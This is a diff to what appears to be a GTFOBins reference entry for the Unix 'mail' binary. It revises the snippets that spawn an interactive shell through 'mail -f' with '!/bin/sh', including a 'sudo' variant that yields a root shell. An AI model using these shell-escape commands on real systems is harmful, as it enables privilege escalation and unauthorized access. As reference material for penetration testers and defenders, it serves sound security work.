diff --git a/_gtfobins/mail.md b/_gtfobins/mail.md index 96ada3f..c6f46d1 100644 --- a/_gtfobins/mail.md +++ b/_gtfobins/mail.md @@ -1,11 +1,17 @@ --- functions: execute-interactive: - - code: | - mail -f /etc/hosts + - description: This creates a valid Mbox file which may be required by the binary. + code: | + TF=$(mktemp) + echo "From nobody@localhost $(date)" > $TF + mail -f $TF !/bin/sh sudo-enabled: - - code: | - sudo mail -f /etc/hosts + - description: This creates a valid Mbox file which may be required by the binary. + code: | + TF=$(mktemp) + echo "From nobody@localhost $(date)" > $TF + sudo mail -f $TF !/bin/sh ---